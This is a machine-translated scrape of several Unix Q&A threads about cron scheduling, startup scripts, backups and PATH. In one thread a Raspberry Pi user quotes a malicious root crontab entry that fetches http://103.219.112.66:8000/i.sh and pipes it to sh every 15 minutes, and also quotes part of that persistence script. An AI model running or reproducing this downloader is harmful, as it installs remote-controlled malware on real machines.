将 cron 配置为每隔一天使用“Day of Month”字段运行命令时,如下所示:
1 22 */2 * * COMMAND
Run Code Online (Sandbox Code Playgroud)
每次当月的某一天是奇数时它都会运行:1、3、5、7、9 等等。
如何将 cron 配置为在一个月中的几天运行,甚至像 2,6,8,10 等等(没有从字面上指定它,这是有问题的,因为每个月都有不同的天数)?
我想在我的 Raspberry Pi 上的根 crontab 文件中添加一些内容,但发现一个对我来说似乎很可疑的条目,在谷歌上搜索它的一部分没有发现任何内容。
Crontab 条目:
*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh
Run Code Online (Sandbox Code Playgroud)
内容为http://103.219.112.66:8000/i.sh:
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/root
echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -fsSL -m180 http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" >> /var/spool/cron/root
cp -f /var/spool/cron/root /var/spool/cron/crontabs/root
cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable
export …Run Code Online (Sandbox Code Playgroud) 我目前正在尝试了解在系统启动/引导时运行脚本的init.dcron 和 cron之间的区别@reboot。
使用的@reboot(这种方法中提到的这个论坛由hs.chandra)是一些什么比较简单,通过简单地进入crontab -e并创建一个@reboot /some_directory/to_your/script/your_script.txt,然后your_script.txt,应在每次系统启动时执行。的深入解释@reboot是here
或者通过嵌入/etc/init.d/your_script.txt到脚本的第二行,即:
#!/bin/bash
# /etc/init.d/your_script.txtRun Code Online (Sandbox Code Playgroud)
您可以运行,chmod +x /etc/init.d/your_script.txt并且your_script.txt每次系统启动时也应该运行。
Q1:两者的主要区别是什么?
Q2:哪个更健壮?
Q3:两者中是否有更好的一个?
Q4:这是嵌入脚本以在启动期间运行的正确方法吗?
我将合并一个 bash .sh 文件以在启动期间运行。
首先我使用的是 CentOS
[root@a etc]# cat system-release
CentOS release 6.5 (Final)
[root@a cron.daily]# ps -ef | grep cron
root 982 1 0 Jun14 ? 00:01:15 crond
root 5692 5441 0 00:49 pts/0 00:00:00 grep cron
[root@a cron.daily]#
Run Code Online (Sandbox Code Playgroud)
我的资源用完了,所以我想删除旧的日志文件。在这种情况下,我想删除大小几乎超过 100MB 的旧安全日志,所以我为root用户提供了以下 crontab 条目.
[root@a etc]# crontab -l
0 1 * * * find /var/log -name "secure-*" -mtime +5 -exec rm {} \;
[root@a etc]#
Run Code Online (Sandbox Code Playgroud)
几天后我才知道这个 crontab 条目不起作用,但我仍然看到旧文件。
[root@a log]# find /var/log -name "secure-*"
/var/log/secure-20141214
/var/log/secure-20141107
/var/log/secure-20141130
/var/log/secure-20141221
[root@a log]#
Run Code Online (Sandbox Code Playgroud)
后来我尝试在 …
这是我在 Debian Jessie 上所做的:
apt-get install cronbackup_crontab文件/etc/cron.d/但是,任务永远不会运行。
以下是一些输出:
/# crontab -l
no crontab for root
/# cd /etc/cron.d && ls
backup_crontab
/etc/cron.d# cat backup_crontab
0,15,30,45 * * * * /backup.sh >/dev/null 2>&1
Run Code Online (Sandbox Code Playgroud)
是否可以激活特定的 crontab 或激活 cron“服务”本身?
在新的 Ubuntu 10.4 实例上,我尝试使用该locate命令仅接收错误
locate: can not stat () `/var/lib/mlocate/mlocate.db': No such file or directory
Run Code Online (Sandbox Code Playgroud)
在其他系统上使用此命令时,我猜测这意味着尚未构建数据库(这是全新安装)。我相信它应该每天运行,但我如何将它排队立即运行?
另外,“每天运行”是如何确定的?如果我有一个每次只打开一个小时的盒子,数据库是否会自行构建?
我正在设置一个 Cronjob,它将备份我在我的服务器中拥有的 MySQL 数据库,但我不希望它一遍又一遍地覆盖同一个文件。相反,我希望有一系列备份可供选择,自动完成。例如:
## Cronjob, run May 21st, 2011:
mysqldump -u username -ppasword database > /path/to/file/21-03-2011.sql
## SAME Conjob, run May 28th, 2011:
mysqldump -u username -ppasword database > /path/to/file/28-03-2011.sql
Run Code Online (Sandbox Code Playgroud)
等等。
有什么方法可以将系统日期和/或时间用作 Cronjob 中的某种变量?如果没有,你有什么建议来实现同样的目标?
Cron 不使用其 crontab 所在用户的路径,而是拥有自己的路径。可以通过PATH=/foo/bar在 crontab 的开头添加来轻松更改,经典的解决方法是始终使用 cron 运行的命令的绝对路径,但是 cron 的默认 PATH 在哪里定义的?
我在我的 Arch 系统(cronie 1.5.1-1)上创建了一个包含以下内容的 crontab,并在 Ubuntu 16.04.3 LTS 机器上进行了测试,结果相同:
$ crontab -l
* * * * * echo "$PATH" > /home/terdon/fff
Run Code Online (Sandbox Code Playgroud)
打印出来的:
$ cat fff
/usr/bin:/bin
Run Code Online (Sandbox Code Playgroud)
但为什么?默认的系统范围路径设置在 中/etc/profile,但包括其他目录:
$ grep PATH= /etc/profile
PATH="/usr/local/sbin:/usr/local/bin:/usr/bin"
Run Code Online (Sandbox Code Playgroud)
/etc/environmentor 中没有其他相关内容,/etc/profile.d我认为其他文件可能会被 cron 读取:
$ grep PATH= /etc/profile.d/* /etc/environment
/etc/profile.d/jre.sh:export PATH=${PATH}:/usr/lib/jvm/default/bin
/etc/profile.d/mozilla-common.sh:export MOZ_PLUGIN_PATH="/usr/lib/mozilla/plugins"
/etc/profile.d/perlbin.sh:[ -d /usr/bin/site_perl ] && PATH=$PATH:/usr/bin/site_perl
/etc/profile.d/perlbin.sh:[ -d /usr/lib/perl5/site_perl/bin ] && PATH=$PATH:/usr/lib/perl5/site_perl/bin
/etc/profile.d/perlbin.sh:[ -d /usr/bin/vendor_perl …Run Code Online (Sandbox Code Playgroud) 我正在使用带有 KDE/Awesome WM 的 Arch Linux。我正在尝试
notify-send与cron.
我试过设置DISPLAY/XAUTHORITY变量,并notify-send使用“sudo -u”运行,但都没有结果。
我能够从会话中以交互方式调用通知发送并获取通知。
FWIW,cron 作业运行良好,我通过将内容回显到临时文件进行了验证。只是“通知发送”不起作用。
代码:
[matrix@morpheus ~]$ crontab -l
* * * * * /home/matrix/scripts/notify.sh
[matrix@morpheus ~]$ cat /home/matrix/scripts/notify.sh
#!/bin/bash
export DISPLAY=127.0.0.1:0.0
export XAUTHORITY=/home/matrix/.Xauthority
echo "testing cron" >/tmp/crontest
sudo -u matrix /usr/bin/notify-send "hello"
echo "now tested notify-send" >>/tmp/crontest
[matrix@morpheus ~]$ cat /tmp/crontest
testing cron
now tested notify-send
[matrix@morpheus ~]$
Run Code Online (Sandbox Code Playgroud)
如您所见,通知发送之前和之后的回声有效。
我也试过设置DISPLAY=:0.0
更新:我搜索了一些,发现需要设置DBUS_SESSION_BUS_ADDRESS。在使用我从交互式会话中获得的值对其进行硬编码后,屏幕上每分钟都会弹出一个小小的“你好”消息!
但问题是这个变量不是永久的,所以我会尝试那里建议的命名管道解决方案。
[matrix@morpheus ~]$ cat scripts/notify.sh
#!/bin/bash …Run Code Online (Sandbox Code Playgroud) 我在我的 Ubuntu 机器(12.04)的后台运行我的 Python 脚本,就像这样 -
nohup python testing.py > test.out &
Run Code Online (Sandbox Code Playgroud)
现在,在某个阶段,我的上述Python script可能会因任何原因而死亡。
所以我想cron agent在 bash shell 脚本中有某种形式,如果它因任何原因被杀死,它可以自动重新启动我上面的 Python 脚本。
这是可能的吗?如果是,那么解决此类问题的最佳方法是什么?
更新:
创建这样的testing.conf文件后-
chdir /tekooz
exec python testing.py
respawn
Run Code Online (Sandbox Code Playgroud)
我在 sudo 命令下运行以启动它,但我看不到使用 ps ax 运行的进程?
root@bx13:/bezook# sudo start testing
testing start/running, process 27794
root@bx13:/bezook# ps ax | grep testing.py
27806 pts/3 S+ 0:00 grep --color=auto testing.py
Run Code Online (Sandbox Code Playgroud)
知道为什么 px ax 没有显示任何内容吗?以及如何检查我的程序是否正在运行?
这是我的python脚本-
#!/usr/bin/python
while True:
print "Hello World"
time.sleep(5)
Run Code Online (Sandbox Code Playgroud)